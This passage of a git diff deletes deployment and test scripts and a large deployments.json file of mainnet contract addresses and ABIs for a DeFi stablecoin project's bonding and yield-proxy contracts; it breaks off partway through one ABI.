deployments.log(` - ubqBalBefore :${ethers.utils.formatEther(ubqBalBefore)} - ubqBalAfter :${ethers.utils.formatEther(ubqBalAfter)} - bond.endblock:${bond.endBlock.toString()} - tx:${tx.blockNumber ? tx.blockNumber.toString() : ""} -`); - tx = await bondingV2.connect(testAccount).removeLiquidity(bond.lpAmount, idsAfter[0]); - await tx.wait(); - bond = await bondingShareV2.getBond(idsAfter[0]); - deployments.log(`old bond id:${idsAfter[0].toNumber()} - minter:${bond.minter} - lpAmount:${ethers.utils.formatEther(bond.lpAmount)} - lpFirstDeposited:${ethers.utils.formatEther(bond.lpFirstDeposited)} - endBlock:${bond.endBlock.toNumber()} - tx:${tx.blockNumber ? tx.blockNumber.toString() : ""} -`); - - const testerLPRewardsAfterRemove = await bondingV2.pendingLpRewards(idsAfter[0]); - deployments.log(` - testerLPRewardsAfterMigrate :${ethers.utils.formatEther(testerLPRewardsAfterMigrate)} - testerLPRewardsAfterRemove :${ethers.utils.formatEther(testerLPRewardsAfterRemove)} -`); - const testerLPBalAfterMigrate = await metaPool.balanceOf(tester); - deployments.log(` - LPBalBefore :${ethers.utils.formatEther(testerLPBalBeforeMigrate)} - LPBalAfter :${ethers.utils.formatEther(testerLPBalAfterMigrate)} -`); - deployments.log(` -totalLpToMigrateBeforeMigrate :${ethers.utils.formatEther(totalLpToMigrateBeforeMigrate)} -totalLpToMigrateAfterMigrate :${ethers.utils.formatEther(totalLpToMigrateAfterMigrate)} -`); - - tx = await metaPool.connect(testAccount).approve(bondingV2.address, testerLPBalAfterMigrate); - await tx.wait(); - const addAmount = testerLPBalAfterMigrate.div(BigNumber.from(2)); - deployments.log(` - addAmount :${ethers.utils.formatEther(addAmount)} - - `); - tx = await bondingV2.connect(testAccount).addLiquidity(addAmount, idsAfter[0], 42); - await tx.wait(); - const testerLPBalAfterAdd = await metaPool.balanceOf(tester); - tx = await bondingV2.connect(testAccount).deposit(testerLPBalAfterAdd, 208); - await tx.wait(); - const testerBsIds = await bondingShareV2.holderTokens(tester); - deployments.log(` - testerBsIds length :${testerBsIds.length} - idsAfter[0] :${idsAfter[0].toString()} - testerBsIds[0] :${testerBsIds[0].toString()} - testerBsIds[1] :${testerBsIds[1].toString()} - `); - bond = await bondingShareV2.getBond(idsAfter[0]); - deployments.log(`old bond id:${idsAfter[0].toNumber()} - minter:${bond.minter} - lpAmount:${ethers.utils.formatEther(bond.lpAmount)} - lpFirstDeposited:${ethers.utils.formatEther(bond.lpFirstDeposited)} - endBlock:${bond.endBlock.toNumber()} - tx:${tx.blockNumber ? tx.blockNumber.toString() : ""} -`); - - const bond1 = await bondingShareV2.getBond(testerBsIds[0]); - deployments.log(`bond1 id:${testerBsIds[0].toNumber()} - minter:${bond1.minter} - lpAmount:${ethers.utils.formatEther(bond1.lpAmount)} - lpFirstDeposited:${ethers.utils.formatEther(bond1.lpFirstDeposited)} - endBlock:${bond1.endBlock.toNumber()} - tx:${tx.blockNumber ? tx.blockNumber.toString() : ""} -`); - const bond2 = await bondingShareV2.getBond(testerBsIds[1]); - deployments.log(`bond2 id:${testerBsIds[1].toNumber()} - minter:${bond2.minter} - lpAmount:${ethers.utils.formatEther(bond2.lpAmount)} - lpFirstDeposited:${ethers.utils.formatEther(bond2.lpFirstDeposited)} - endBlock:${bond2.endBlock.toNumber()} - tx:${tx.blockNumber ? tx.blockNumber.toString() : ""} -`); - - await mineNBlock(blockCountInAWeek.toNumber()); - - const pendingBond1 = await masterChefV2.pendingUGOV(testerBsIds[0]); - const pendingBond2 = await masterChefV2.pendingUGOV(testerBsIds[1]); - const bondingShareInfoBond1 = await masterChefV2.getBondingShareInfo(testerBsIds[0]); - const bondingShareInfoBond2 = await masterChefV2.getBondingShareInfo(testerBsIds[1]); - const totalShares = await masterChefV2.totalShares(); - deployments.log(` - - pendingBond1 :${ethers.utils.formatEther(pendingBond1)} - pendingBond2 :${ethers.utils.formatEther(pendingBond2)} - bondingShareInfoBond1-0 :${ethers.utils.formatEther(bondingShareInfoBond1[0])} - bondingShareInfoBond1-1 :${ethers.utils.formatEther(bondingShareInfoBond1[1])} - bondingShareInfoBond2-0 :${ethers.utils.formatEther(bondingShareInfoBond2[0])} - bondingShareInfoBond2-1 :${ethers.utils.formatEther(bondingShareInfoBond2[1])} - totalShares :${ethers.utils.formatEther(totalShares)} -`); - - deployments.log(` - That's all folks ! - `); -}; -export default func; -func.tags = ["V2Test"]; diff --git a/packages/contracts/dollar/deploy/YieldProxy.ts b/packages/contracts/dollar/deploy/YieldProxy.ts deleted file mode 100644 index a705eaf6d..000000000 --- a/packages/contracts/dollar/deploy/YieldProxy.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { YieldProxy } from "../artifacts/types/YieldProxy"; -import { IJar } from "../artifacts/types/IJar"; - -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - // production 0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98 - let mgrAdr = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; - // pickle Jars https://github.com/pickle-finance/contracts#pickle-jars-pjars - // pYEARNUSDCV2 0xEB801AB73E9A2A482aA48CaCA13B1954028F4c94 - const jarAddr = "0xEB801AB73E9A2A482aA48CaCA13B1954028F4c94"; - const jar = (await ethers.getContractAt("IJar", jarAddr)) as IJar; - - // fees 10000 = 10% because feesMax = 100000 and 10000 / 100000 = 0.1 - const fees = 10000; - // UBQRate 10e18, if the UBQRate is 10 then 10/10000 = 0.001 - // 1UBQ gives you 0.001% of fee reduction so 100000 UBQ gives you 100% - const UBQRate = ethers.utils.parseEther("100"); - // bonusYield 5000 = 50% 100 = 1% 10 = 0.1% 1 = 0.01% - const bonusYield = 5000; - const net = await ethers.provider.getNetwork(); - deployments.log(`Current chain ID: ${net.chainId}`); - - const [ubqAccount] = await ethers.getSigners(); - - const adminAdr = await ubqAccount.getAddress(); - deployments.log( - `***** - adminAdr address :`, - adminAdr, - ` - ` - ); - - deployments.log(`jar at:`, jar.address); - const opts = { - from: adminAdr, - log: true, - }; - - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - if (mgrAdr.length === 0) { - const mgr = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [adminAdr], - ...opts, - }); - mgrAdr = mgr.address; - } - - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - - const manager: UbiquityAlgorithmicDollarManager = mgrFactory.attach( - mgrAdr // mgr.address - ) as UbiquityAlgorithmicDollarManager; - deployments.log(`UbiquityAlgorithmicDollarManager at:`, manager.address); - - const yieldProxyFactory = await ethers.getContractFactory("YieldProxy"); - const yieldProxy = (await yieldProxyFactory.deploy(manager.address, jar.address, fees, UBQRate, bonusYield)) as YieldProxy; - - deployments.log("yieldProxy deployed at:", yieldProxy.address); - // yieldProxy should have the UBQ_MINTER_ROLE to mint uAR - const tx = await manager.connect(ubqAccount).grantRole(UBQ_MINTER_ROLE, yieldProxy.address); - await tx.wait(); - - // try to migrate test - - deployments.log(` - That's all folks ! - `); -}; -export default func; -func.tags = ["YieldProxy"]; diff --git a/packages/contracts/dollar/deployments.json b/packages/contracts/dollar/deployments.json deleted file mode 100644 index 099ea5929..000000000 --- a/packages/contracts/dollar/deployments.json +++ /dev/null @@ -1,7421 +0,0 @@ -{ - "1": [ - { - "name": "mainnet", - "chainId": "1", - "contracts": { - "Bonding": { - "address": "0x831e3674Abc73d7A3e9d8a9400AF2301c32cEF0C", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "address", - "name": "_sablier", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "BlockCountInAWeekUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_blockRonding", - "type": "uint256" - } - ], - "name": "BlockRondingUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "BondingDiscountMultiplierUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": false, - "internalType": "address", - "name": "token", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "DustSent", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_maxBondingPrice", - "type": "uint256" - } - ], - "name": "MaxBondingPriceUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenAdded", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenRemoved", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_redeemStreamTime", - "type": "uint256" - } - ], - "name": "RedeemStreamTimeUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_sablier", - "type": "address" - } - ], - "name": "SablierUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "UGOVPerBlockUpdated", - "type": "event" - }, - { - "inputs": [], - "name": "ETH_ADDRESS", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "ONE", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "addProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "blockCountInAWeek", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "blockRonding", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingDiscountMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "crvPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "currentShareValue", - "outputs": [ - { - "internalType": "uint256", - "name": "priceShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "currentTokenPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "data", - "outputs": [ - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_lpsAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "deposit", - "outputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "redeemStreamTime", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "removeProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "sablier", - "outputs": [ - { - "internalType": "contract ISablier", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "internalType": "address", - "name": "_token", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "sendDust", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "setBlockCountInAWeek", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_blockRonding", - "type": "uint256" - } - ], - "name": "setBlockRonding", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "setBondingDiscountMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_redeemStreamTime", - "type": "uint256" - } - ], - "name": "setRedeemStreamTime", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_sablier", - "type": "address" - } - ], - "name": "setSablier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "setUGOVPerBlock", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "uADPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVPerBlock", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_sharesAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "stateMutability": "payable", - "type": "receive" - } - ] - }, - "BondingFormulas": { - "address": "0x190474f062D05fba6d46A4D358C4d031075DF2b4", - "abi": [ - { - "inputs": [], - "name": "ONE", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_totalLpDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_bondingLpBalance", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "correctedAmountToWithdraw", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "_bond", - "type": "tuple" - }, - { - "internalType": "uint256[2]", - "name": "_shareInfo", - "type": "uint256[2]" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "lpRewardsAddLiquidityNormalization", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "_bond", - "type": "tuple" - }, - { - "internalType": "uint256[2]", - "name": "_shareInfo", - "type": "uint256[2]" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "lpRewardsRemoveLiquidityNormalization", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "_bond", - "type": "tuple" - }, - { - "internalType": "uint256[2]", - "name": "_shareInfo", - "type": "uint256[2]" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "sharesForLP", - "outputs": [ - { - "internalType": "uint256", - "name": "_uLP", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - } - ] - }, - "BondingShare": { - "address": "0x0013B6033dd999676Dc547CEeCEA29f781D8Db17", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "TransferBatch", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "TransferSingle", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "string", - "name": "value", - "type": "string" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "URI", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "accounts", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - } - ], - "name": "balanceOfBatch", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "burnBatch", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "holder", - "type": "address" - } - ], - "name": "holderTokens", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "mintBatch", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "amounts", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeBatchTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "bytes", - "name": "data", - "type": "bytes" - } - ], - "name": "safeTransferFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "setApprovalForAll", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "uri", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "BondingShareV2": { - "address": "0x2dA07859613C14F6f05c97eFE37B9B4F212b5eF5", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "string", - "name": "uri", - "type": "string" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "approved", - "type": "bool" - } - ], - "name": "ApprovalForAll", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "indexed": false, - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "TransferBatch", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "TransferSingle", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "string", - "name": "value", - "type": "string" - }, - { - "indexed": true, - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "URI", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address[]", - "name": "accounts", - "type": "address[]" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - } - ], - "name": "balanceOfBatch", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "ids", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "values", - "type": "uint256[]" - } - ], - "name": "burnBatch", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - } - ], - "name": "getBond", - "outputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "", - "type": "tuple" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "holder", - "type": "address" - } - ], - "name": "holderTokens", - "outputs": [ - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "operator", - "type": "address" - } - ], - "name": "isApprovedForAll", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - 